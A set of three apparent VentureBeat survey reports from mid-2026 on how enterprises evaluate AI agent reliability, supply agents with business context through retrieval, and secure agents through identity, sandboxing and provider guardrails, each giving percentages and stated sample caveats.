VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).

At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.

Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.

Finding 1: A passing eval is not a working agent

Half have shipped an agent that passed evals, then failed a customer

We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.

This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.

Finding 2: Almost no one fully trusts automated evaluation

The top complaint: Evals don't match real-world outcomes

We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.

Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.

Finding 3: The autonomy ceiling is rising anyway

Two-thirds already allow, or are building toward, zero-human deployment

We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.

Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.

Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards. To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that.

Finding 4: The evaluation stack is fragmented and provider-led

Provider-native evals lead — tied with no dedicated tool at all

We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.

The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.

Finding 5: Production monitoring rarely watches output quality

Only a quarter run real-time quality checks on live traffic

Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.

Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.

Finding 6: Bought on cost, measured on consistency

Price and integration drive selection; evaluation consistency is the goal

We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.

Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.

Finding 7: The next dollar goes to humans and observability

Investment is flowing to oversight, not just automation

We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.

The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing.

Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.

Finding 8: A tooling reshuffle is coming

Nearly two-thirds plan to adopt or switch platforms within a year

We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.

The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint.

Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.

The bottom line: An evaluation gap that autonomy will widen, not close

Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.

The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.

Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.

The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix

Thu, 23 Jul 2026 19:19:42 +0200

Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials

Thu, 23 Jul 2026 19:19:41 +0200

Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.

This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

Finding 1: The incidents are already here

More than half have had an agent security incident or near-miss

We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

Finding 2: The identity gap

Only a third give every agent its own scoped identity

We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

Finding 3: Observe and enforce, but rarely isolate

Only three in 10 sandbox their highest-risk agents

We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

Finding 4: Security runs on borrowed, provider-native controls

Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

Finding 5: And enterprises are comfortable with it

Satisfaction is high, even as incidents mount and identity lags

We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

Finding 6: Budgets haven’t caught up

Most spend under a tenth of the security budget on agents

We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

Finding 7: The arms race is even, at best

Only a third think their AI defenses are ahead of AI-enabled attackers

We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

Finding 8: A security reshuffle is coming

Nearly six in 10 plan to adopt or switch tooling within a year

We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint.

What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

The bottom line: A security gap that autonomy will test first

Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

